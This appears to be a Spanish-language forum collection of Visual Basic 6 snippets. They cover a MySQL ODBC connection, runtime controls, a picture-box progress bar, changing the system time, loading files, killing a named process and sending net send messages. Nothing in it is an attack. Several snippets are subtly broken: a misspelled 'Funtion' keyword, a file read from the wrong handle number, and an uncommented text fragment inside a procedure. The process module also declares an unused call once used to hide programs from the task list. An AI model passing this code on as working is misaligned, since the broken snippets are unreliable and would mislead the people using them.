   CxnFac = "Driver={MySQL ODBC 3.51 Driver};Server=IpServer;Port=3306;Option=131072;Stmt=;Database=recepfac;Uid=root;Pwd=TuContrasena;"
   Cxn.Open CxnFac ' Abrimos la conexion
   Set AdoS = New Recordset
   AdoS.Open "Select * From clientes", Cxn, adOpenStatic, adLockOptimistic ' Abrimos el REcordset y esta listo para usar
   MsgBox AdoS!nombre


Bueno basta decir que este caso tenemos una tabla llamada clientes que posee un campo llamado nombre..

Como crear controles en tiempo de ejecuacion
'Ejemplo de creación de controles en tiempo de ejecución

'Llevará la cuenta de los controles creados

Código:
Option Explicit
Private numControles As Long
Private Sub cmdCrear_Click()
    'Crear un nuevo control de cada tipo'numControles está declarada a nivel de módulo
    numControles = numControles + 1
    'Crear los controles
    Load Label1(numControles)
    Load Text1(numControles)

    'Posicionarlos y hacerlos visibles
    With Label1(numControles)
        .Visible = True
        .Top = Label1(numControles - 1).Top + .Height + 120
        .Caption = "Label1(" & numControles & ")"
    End With
    With Text1(numControles)
        .Visible = True
        .Top = Text1(numControles - 1).Top + .Height + 60
        .Text = "Text1(" & numControles & ")"
    End With
End Sub


'Eliminar un elemento de cada control anteriormente creado'El control

Código:
Private Sub cmdEliminar_Click()
    CERO no se puede eliminar
    If numControles > 0 Then
        'Descargarlos de la memoria
        Unload Label1(numControles)
        Unload Text1(numControles)
        numControles = numControles - 1
    End If
End Sub

ProgressBar al estilo Windows 95
Este código sirve para simular una ProgressBar al estilo Windows 95 en un control PictureBox. Espero les guste, ya que sólo con cambiar el ForeColor del PicBox cambian el color de la barra y su texto, también si ponen el Pic en Flat y a Fixed Single toma una apariencia bastante atractiva, cosa que el ProgressBar de los Common Controls no trae:

Código:
Sub SimPGB(pctBox As PictureBox, PercentValue As Single, Optional Caption, Optional Horizontal As Boolean = True)
    Dim strPercent As String
    Dim intX As Integer
    Dim intY As Integer
    Dim intWidth As Integer
    Dim intHeight As Integer
    Dim intPercent As Single
    On Error GoTo ErLg

    If pctBox Is Nothing Then Error 5

    pctBox.AutoRedraw = True
    pctBox.BackColor = vbWhite

    intPercent = Int(100 * PercentValue + 0.5)

    If PercentValue < 0 Or PercentValue > 1# Then Error 5

    If IsMissing(Caption) = True Then
        strPercent = Format$(intPercent) & "%"
        intWidth = pctBox.TextWidth(strPercent)
        intHeight = pctBox.TextHeight(strPercent)
    Else
        intWidth = pctBox.TextWidth(Caption)
        intHeight = pctBox.TextHeight(Caption)
    End If

    intX = pctBox.Width / 2 - intWidth / 2
    intY = pctBox.Height / 2 - intHeight / 2

    pctBox.DrawMode = 13
    pctBox.Line (intX, intY)-(intWidth, intHeight), pctBox.BackColor, BF

    pctBox.CurrentX = intX
    pctBox.CurrentY = intY

    If IsMissing(Caption) = True Then
        pctBox.Print strPercent
    Else
        pctBox.Print Caption
    End If

    pctBox.DrawMode = 10

    If Horizontal = True Then
        If PercentValue > 0 Then
            pctBox.Line (0, 0)-(pctBox.Width * PercentValue, pctBox.Height), pctBox.ForeColor, BF
        Else
            pctBox.Line (0, 0)-(pctBox.Width, pctBox.Height), pctBox.BackColor, BF
        End If
    Else
        If PercentValue > 0 Then
            pctBox.Line (0, pctBox.Height)-(pctBox.Width, pctBox.Height - (pctBox.Height * PercentValue)), pctBox.ForeColor, BF
        Else
            pctBox.Line (0, pctBox.Height)-(pctBox.Width, pctBox.Height), pctBox.BackColor, BF
        End If
    End If
   
Exit Sub
ErLg: Error Err.Number
End Sub

Cambiar Fecha u Hora del Sistema
Código:
 
Private Declare Function SetSystemTime Lib "kernel32.dll" (lpSystemTime As SYSTEMTIME) As Long
Public Type SYSTEMTIME
wYear As Integer
       wMonth As Integer
       wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Integer
End Type
Public Function CambiarHora(ByVal Hora As Integer, ByVal Minutos As Integer, Byval Segundos As Integer)
Dim Ahora As SYSTEMTIME
Ahora.wYear = Year(Date)
Ahora.wMonth = Month(Date)
Ahora.wDay = Day(Date)
Ahora.wHour = Hora
Ahora.wMinute = Minutos
Ahora.wSecond = Segundos
CambiarHora = SetSystemTime(Ahora)
End Function
Public Function CambiarFecha(Byval Año As Integer, Byval Mes As Integer, Byval Dia As Integer)
Dim Hoy As SYSTEMTIME
Hoy.wYear = Año
Hoy.wMonth = Mes
Hoy.wDay = Dia
Hoy.wHour = Hour(Time)
Hoy.wMinute = Minute(Time)
Hoy.wSecond = Second(Time)
CambiarFecha = SetSystemTime(Hoy)
End Function

Como cargar un archivo en memoria
Código:
Funtion LoadFile (ByVal FileName As String, Optional IsText As Boolean) As String
Dim tmpF() As Byte, FLen As Long
Dim Num As Integer, tmpStr As String
On Error Goto ErrLog
FLen=FileLen(FileName)
Num=FreeFile()

Open FileName For Binary Access Read As #Num
If IsText = False Then
     'Para cargar la matriz de bytes
     ReDim tmpF(0 To (FLen-1)) As Byte
     Get #1, ,tmpF
     LoadFile=tmpF
Else
     'Para cargar como cadena de texto
     '(ideal para archivos de texto)
     tmpStr=String(FLen, 0)
     Get #1, ,tmpStr
     LoadFile=tmpStr
End If
Close #Num
'Se libera memoria
Erase tmpF: tmpStr=""

Exit Function
ErrLog:
       Erase tmpF: tmpStr=""
       Error Err.Number
End Function

Finalizar un programa en ejecución
Modulo de Clase:
---------------------------------------------------------
Código:
Option Explicit
Private Const MAX_PATH& = 260
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function CreateToolhelpSnapshot Lib "kernel32" Alias "CreateToolhelp32Snapshot" (ByVal lFlags As Long, lProcessID As Long) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32" () As Long
Private Declare Function GetWindowThreadProcessId& Lib "user32" (ByVal hwnd As Long, lpdwProcessId As Long)
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal blnheritHandle As Long, ByVal dwAppProcessId As Long) As Long
Private Declare Function ProcessFirst Lib "kernel32" Alias "Process32First" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function ProcessNext Lib "kernel32" Alias "Process32Next" (ByVal hSnapshot As Long, uProcess As PROCESSENTRY32) As Long
Private Declare Function RegisterServiceProcess Lib "kernel32" (ByVal ProcessID As Long, ByVal ServiceFlags As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal ApphProcess As Long, ByVal uExitCode As Long) As Long

Private Type PROCESSENTRY32
dwSize As Long
cntUsage As Long
th32ProcessID As Long
th32DefaultHeapID As Long
th32ModuleID As Long
cntThreads As Long
th32ParentProcessID As Long
pcPriClassBase As Long
dwFlags As Long
szexeFile As String * MAX_PATH
End Type
Public Sub KillProcess(ByVal ProcessID As Long)
Dim hp&
hp& = OpenProcess(1&, -1&, ProcessID)
TerminateProcess hp&, 0&
DoEvents
End Sub

Public Function FindWindowByClass(ByVal WindowClassName As String) As Long
FindWindowByClass = FindWindow(WindowClassName, vbNullString)
End Function

Public Function FindProcessByWindowClass(ByVal WindowClassName As String) As Long
Dim pid&
GetWindowThreadProcessId FindWindowByClass(WindowClassName), pid&
FindProcessByWindowClass = pid&
End Function

Public Function FindProcessByName(ByVal AppPath As String) As Long
Dim AppPaths, ProcessIds, ParentProcessIds, i As Integer
ListRunningApps AppPaths, ProcessIds, ParentProcessIds
i = FindInArray(AppPaths, AppPath)
If i = -1 Then
FindProcessByName = 0
Else
FindProcessByName = ProcessIds(i)
End If
End Function

Public Sub ListRunningApps(ByRef AppPaths, ByRef ProcessIds, ByRef ParentProcessIds)
Dim uProcess As PROCESSENTRY32
Dim rProcessFound As Long
Dim hSnapshot As Long
Dim szExename As String
Dim i As Integer
Const TH32CS_SNAPPROCESS As Long = 2&

AppPaths = Array()
ProcessIds = Array()
ParentProcessIds = Array()

uProcess.dwSize = Len(uProcess)
hSnapshot = CreateToolhelpSnapshot(TH32CS_SNAPPROCESS, 0&)
rProcessFound = ProcessFirst(hSnapshot, uProcess)

Do While rProcessFound
i = InStr(1, uProcess.szexeFile, Chr(0))
szExename = LCase$(Left$(uProcess.szexeFile, i - 1))
AppendToArray AppPaths, szExename
AppendToArray ProcessIds, uProcess.th32ProcessID
AppendToArray ParentProcessIds, uProcess.th32ParentProcessID
rProcessFound = ProcessNext(hSnapshot, uProcess)
Loop
End Sub
Public Function FindInArray(List As Variant, Item As Variant) As Integer
Dim i As Integer
For i = 0 To UBound(List)
If UCase("" & List(i)) = UCase("" & Item) Then
FindInArray = i
Exit Function
End If
Next
FindInArray = -1
End Function
Private Sub AppendToArray(List As Variant, Item As Variant)
ReDim Preserve List(UBound(List) + 1)
List(UBound(List)) = Item
End Sub


-------------------
y el formulario :
-----------------------
Option Explicit
Código:
Private NombreProceso, IdentificacionProceso, ParentIdentificacionProceso
Private PM As Class1, i As Integer

Private Sub Command1_Click()
Set PM = New Class1
PM.ListRunningApps NombreProceso, IdentificacionProceso, ParentIdentificacionProceso
For i = 0 To UBound(NombreProceso)
If NombreProceso(i) = "winamp.exe" Then
PM.KillProcess IdentificacionProceso(i)
DoEvents
End If
Next
End Sub



*El nombre del proceso es el que muestra el programa en lo sprocesos de Windows.

Api net send
Código:
Option Explicit

Private Declare Function NetMessageBufferSend Lib "netapi32.dll" _
(ByVal servername As String, _
ByVal msgname As String, _
ByVal fromname As String, _
ByVal Buffer As String, _
ByVal BufSize As Long) As Long

Private Const NERR_SUCCESS As Long = 0
Private Const NERR_BASE As Long = 2100
Private Const NERR_NetworkError As Long = (NERR_BASE + 36)
Private Const NERR_NameNotFound As Long = (NERR_BASE + 173)
Private Const NERR_UseNotFound As Long = (NERR_BASE + 150)
Private Const ERROR_ACCESS_DENIED As Long = 5
Private Const ERROR_BAD_NETPATH As Long = 53
Private Const ERROR_NOT_SUPPORTED As Long = 50
Private Const ERROR_INVALID_PARAMETER As Long = 87
Private Const ERROR_INVALID_NAME As Long = 123


Public Function NetSendMessage(ByVal sSendTo As String, ByVal sMessage As String) As Long
Dim ret As Long

'convert ANSI strings to UNICODE
sSendTo = StrConv(sSendTo, vbUnicode)
sMessage = StrConv(sMessage, vbUnicode)
'Send a network message to a remote computer
NetSendMessage = NetMessageBufferSend(vbNullString, sSendTo, vbNullString, _
sMessage, Len(sMessage))
End Function

'returns the description of the Netapi Error Code
Public Function NetSendErrorMessage(ErrNum As Long) As String
Select Case ErrNum
Case NERR_SUCCESS
NetSendErrorMessage = "The message was successfully sent"
Case NERR_NameNotFound
NetSendErrorMessage = "Send To not found"
Case NERR_NetworkError
NetSendErrorMessage = "General network error occurred"
Case NERR_UseNotFound
NetSendErrorMessage = "Network connection not found"
Case ERROR_ACCESS_DENIED
NetSendErrorMessage = "Access to computer denied"
Case ERROR_BAD_NETPATH
NetSendErrorMessage = "Sent From server name not found."
Case ERROR_INVALID_PARAMETER
NetSendErrorMessage = "Invalid parameter(s) specified."
Case ERROR_NOT_SUPPORTED
NetSendErrorMessage = "Network request not supported."
Case ERROR_INVALID_NAME
NetSendErrorMessage = "Illegal character or malformed name."
Case Else
NetSendErrorMessage = "Unknown error executing command."
End Select
End Function


Private Sub Command2_Click()
Dim ret As Long

'send a message to "andrea" user in your network, replace "andrea" with the name
'of the user or the computer you want to send the message to

'in order to receive and send messages in both computers (sender and receiver) you
'must start the messenger service
ret = NetSendMessage("ycc", "this is a message from a VB application")
If ret <> 0 Then
MsgBox NetSendErrorMessage(ret), vbCritical, "Error"
Else
MsgBox NetSendErrorMessage(ret), vbInformation, "NetSend"
End If
End Sub